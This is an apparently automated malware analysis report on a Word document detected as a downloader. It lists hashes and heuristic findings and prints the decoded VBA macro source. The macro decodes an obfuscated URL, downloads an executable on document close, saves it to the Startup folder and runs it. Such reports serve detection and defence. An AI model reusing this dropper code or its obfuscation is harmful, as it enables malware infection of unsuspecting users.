Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 53f4c14a564fc986…

MALICIOUS

Office (OLE)

165.0 KB Created: 2016-06-27 21:39:00 Authoring application: Microsoft Office Word First seen: 2021-02-23
MD5: 399a7a0415b1576a0c96a31ffad473a7 SHA-1: 0c551b6a3b4c884818f63ca654c84038f7b5ad6f SHA-256: 53f4c14a564fc9865fba0d21ca99d1ddb550f90d61a5c44c172e19584f68ba7f
302 Risk Score

Heuristics 8

  • ClamAV: Doc.Downloader.00536d-6923444-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6923444-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    KROGWYIWYGLVDVPDONCSBTVJVCYIGRDPLJOXFPJOZXMNDNQTOFJJILWZESYYHJKGSZWOFHQFHOMELXXLPVKTJVEREKHQISLQ = CreateObject("WScript.Shell").Specialfolders(7) + ZFNOYZEQHVDTWGKFUSSSUNJNCPIQSTPCQGXVQBVQXDUUOHUGMTKSLNBUTQZXJUHJINPWHIMRPELUFOMGWB
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    SMLIRPBTYCZFNOYZEQHVDTWGKFUSSSUNJNCPIQSTPCQGXVQBVQXDUUOHUGMTKSLNBUTQZXJUHJINPWHIMRPELUFOMGW = OMGWBBZDVRVKRQYBCXKROGWYIWYGLVDVPDONCSBTVJVCYIGRDPLJOXFPJOZXMNDNQTOFJJILWZESYYHJKGSZWOF.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set DUUOHUGMTKSLNBUTQZXJUHJINPWHIMRPELUFOMGWBBZDVRVKRQYBCXKROGWYIWYGLVDVPDONCSBTVJVCYIGRDPLJOXFP = CreateObject("Shell.Application")
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# Referenced by macro
    • http://ns.adobe.com/photoshop/1.0/Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://ns.adobe.com/xap/1.0/Referenced by macro
    • http://ns.adobe.com/tiff/1.0/Referenced by macro
    • http://ns.adobe.com/exif/1.0/Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4767 bytes
SHA-256: 55cc9505da7742d00774c3b5cb2433bbd3fed74c8ca0f8b986a7c966979ae8ee
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_close()
Set DUUOHUGMTKSLNBUTQZXJUHJINPWHIMRPELUFOMGWBBZDVRVKRQYBCXKROGWYIWYGLVDVPDONCSBTVJVCYIGRDPLJOXFP = CreateObject("Shell.Application")
Set OMGWBBZDVRVKRQYBCXKROGWYIWYGLVDVPDONCSBTVJVCYIGRDPLJOXFPJOZXMNDNQTOFJJILWZESYYHJKGSZWOF = CreateObject("microsoft.xmlhttp")
Set XXLPVKTJVEREKHQISLQTRWGNQRWIFUULOXCWMKKKMFIMUHHPKLHTIXWNISNJPUMMGGTXERCREMSMLIRPBTYC = CreateObject("adodb.stream")
ZFNOYZEQHVDTWGKFUSSSUNJNCPIQSTPCQGXVQBVQXDUUOHUGMTKSLNBUTQZXJUHJINPWHIMRPELUFOMGWB = XWNISNJPUMMGGTXERCREMSMLIRPBTYCZFNOYZEQHVDTWGKFUSSSUNJNCPIQSTPCQGXVQBVQXDUUOHUGMTKSLNBUTQZX("]LJDNJEL/fyf")
BBZDVRVKRQYBCXKROGWYIWYGLVDVPDONCSBTVJVCYIGRDPLJOXFPJOZXMNDNQTOFJJILWZESYYHJKGSZWOFHQFHOMEL = XWNISNJPUMMGGTXERCREMSMLIRPBTYCZFNOYZEQHVDTWGKFUSSSUNJNCPIQSTPCQGXVQBVQXDUUOHUGMTKSLNBUTQZX("iuuq;00pofesjwfofu/yz{0`pvuqvu7473571/fyf!")

KROGWYIWYGLVDVPDONCSBTVJVCYIGRDPLJOXFPJOZXMNDNQTOFJJILWZESYYHJKGSZWOFHQFHOMELXXLPVKTJVEREKHQISLQ = CreateObject("WScript.Shell").Specialfolders(7) + ZFNOYZEQHVDTWGKFUSSSUNJNCPIQSTPCQGXVQBVQXDUUOHUGMTKSLNBUTQZXJUHJINPWHIMRPELUFOMGWB
OMGWBBZDVRVKRQYBCXKROGWYIWYGLVDVPDONCSBTVJVCYIGRDPLJOXFPJOZXMNDNQTOFJJILWZESYYHJKGSZWOF.Open "GET", BBZDVRVKRQYBCXKROGWYIWYGLVDVPDONCSBTVJVCYIGRDPLJOXFPJOZXMNDNQTOFJJILWZESYYHJKGSZWOFHQFHOMEL, False
OMGWBBZDVRVKRQYBCXKROGWYIWYGLVDVPDONCSBTVJVCYIGRDPLJOXFPJOZXMNDNQTOFJJILWZESYYHJKGSZWOF.send
SMLIRPBTYCZFNOYZEQHVDTWGKFUSSSUNJNCPIQSTPCQGXVQBVQXDUUOHUGMTKSLNBUTQZXJUHJINPWHIMRPELUFOMGW = OMGWBBZDVRVKRQYBCXKROGWYIWYGLVDVPDONCSBTVJVCYIGRDPLJOXFPJOZXMNDNQTOFJJILWZESYYHJKGSZWOF.responseBody
If OMGWBBZDVRVKRQYBCXKROGWYIWYGLVDVPDONCSBTVJVCYIGRDPLJOXFPJOZXMNDNQTOFJJILWZESYYHJKGSZWOF.Status = 200 Then
XXLPVKTJVEREKHQISLQTRWGNQRWIFUULOXCWMKKKMFIMUHHPKLHTIXWNISNJPUMMGGTXERCREMSMLIRPBTYC.Open
XXLPVKTJVEREKHQISLQTRWGNQRWIFUULOXCWMKKKMFIMUHHPKLHTIXWNISNJPUMMGGTXERCREMSMLIRPBTYC.Type = 1
XXLPVKTJVEREKHQISLQTRWGNQRWIFUULOXCWMKKKMFIMUHHPKLHTIXWNISNJPUMMGGTXERCREMSMLIRPBTYC.Write SMLIRPBTYCZFNOYZEQHVDTWGKFUSSSUNJNCPIQSTPCQGXVQBVQXDUUOHUGMTKSLNBUTQZXJUHJINPWHIMRPELUFOMGW
XXLPVKTJVEREKHQISLQTRWGNQRWIFUULOXCWMKKKMFIMUHHPKLHTIXWNISNJPUMMGGTXERCREMSMLIRPBTYC.SaveToFile KROGWYIWYGLVDVPDONCSBTVJVCYIGRDPLJOXFPJOZXMNDNQTOFJJILWZESYYHJKGSZWOFHQFHOMELXXLPVKTJVEREKHQISLQ, 2
XXLPVKTJVEREKHQISLQTRWGNQRWIFUULOXCWMKKKMFIMUHHPKLHTIXWNISNJPUMMGGTXERCREMSMLIRPBTYC.Close
End If
DUUOHUGMTKSLNBUTQZXJUHJINPWHIMRPELUFOMGWBBZDVRVKRQYBCXKROGWYIWYGLVDVPDONCSBTVJVCYIGRDPLJOXFP.Open (KROGWYIWYGLVDVPDONCSBTVJVCYIGRDPLJOXFPJOZXMNDNQTOFJJILWZESYYHJKGSZWOFHQFHOMELXXLPVKTJVEREKHQISLQ)


End Sub

Function XWNISNJPUMMGGTXERCREMSMLIRPBTYCZFNOYZEQHVDTWGKFUSSSUNJNCPIQSTPCQGXVQBVQXDUUOHUGMTKSLNBUTQZX(JUHJINPWHIMRPELUFOMGWBBZDVRVKRQYBCXKROGWYIWYGLVDVPDONCSBTVJVCYIGRDPLJOXFPJOZXMNDNQTOFJJILWZESYY)
SUNJNCPIQSTPCQGXVQBVQXDUUOHUGMTKSLNBUTQZXJUHJINPWHIMRPELUFOMGWBBZDVRVKRQYBCXKROGWYIWYGLVD = 10 - 9
        TRWGNQRWIFUULOXCWMKKKMFIMUHHPKLHTIXWNISNJPUMMGGTXERCREMSMLIRPBTYCZFNOYZEQHVDTWGKFUSSSUNJN = ""
    For CPIQSTPCQGXVQBVQXDUUOHUGMTKSLNBUTQZXJUHJINPWHIMRPELUFOMGWBBZDVRVKRQYBCXKROGWYIWYGLVD = SUNJNCPIQSTPCQGXVQBVQXDUUOHUGMTKSLNBUTQZXJUHJINPWHIMRPELUFOMGWBBZDVRVKRQYBCXKROGWYIWYGLVD To Len(JUHJINPWHIMRPELUFOMGWBBZDVRVKRQYBCXKROGWYIWYGLVDVPDONCSBTVJVCYIGRDPLJOXFPJOZXMNDNQTOFJJILWZESYY)
        QTRWGNQRWIFUULOXCWMKKKMFIMUHHPKLHTIXWNISNJPUMMGGTXERCREMSMLIRPBTYCZFNOYZEQHVDTWGKFUSS = Asc(Mid(JUHJINPWHIMRPELUFOMGWBBZDVRVKRQYBCXKROGWYIWYGLVDVPDONCSBTVJVCYIGRDPLJOXFPJOZXMNDNQTOFJJILWZESYY, CPIQSTPCQGXVQBVQXDUUOHUGMTKSLNBUTQZXJUHJINPWHIMRPELUFOMGWBBZDVRVKRQYBCXKROGWYIWYGLVD, SUNJNCPIQSTPCQGXVQBVQXDUUOHUGMTKSLNBUTQZXJUHJINPWHIMRPELUFOMGWBBZDVRVKRQYBCXKROGWYIWYGLVD))

            VPDONCSBTVJVCYIGRDPLJOXFPJOZXMNDNQTOFJJILWZESYYHJKGSZWOFHQFHOMELXXLPVKTJVEREKHQISL = QTRWGNQRWIFUULOXCWMKKKMFIMUHHPKLHTIXWNISNJPUMMGGTXERCREMSMLIRPBTYCZFNOYZEQHVDTWGKFUSS - SUNJNCPIQSTPCQGXVQBVQXDUUOHUGMTKSLNBUTQZXJUHJINPWHIMRPELUFOMGWBBZDVRVKRQYBCXKROGWYIWYGLVD
        TRWGNQRWIFUULOXCWMKKKMFIMUHHPKLHTIXWNISNJPUMMGGTXERCREMSMLIRPBTYCZFNOYZEQHVDTWGKFUSSSUNJN = TRWGNQRWIFUULOXCWMKKKMFIMUHHPKLHTIXWNISNJPUMMGGTXERCREMSMLIRPBTYCZFNOYZEQHVDTWGKFUSSSUNJN & Chr(VPDONCSBTVJVCYIGRDPLJOXFPJOZXMNDNQTOFJJILWZESYYHJKGSZWOFHQFHOMELXXLPVKTJVEREKHQISL)
    Next
    XWNISNJPUMMGGTXERCREMSMLIRPBTYCZFNOYZEQHVDTWGKFUSSSUNJNCPIQSTPCQGXVQBVQXDUUOHUGMTKSLNBUTQZX = TRWGNQRWIFUULOXCWMKKKMFIMUHHPKLHTIXWNISNJPUMMGGTXERCREMSMLIRPBTYCZFNOYZEQHVDTWGKFUSSSUNJN
End Function

Attribute VB_Name = "NewMacros"
Sub dino()
'
' dino Macro
'
'

End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.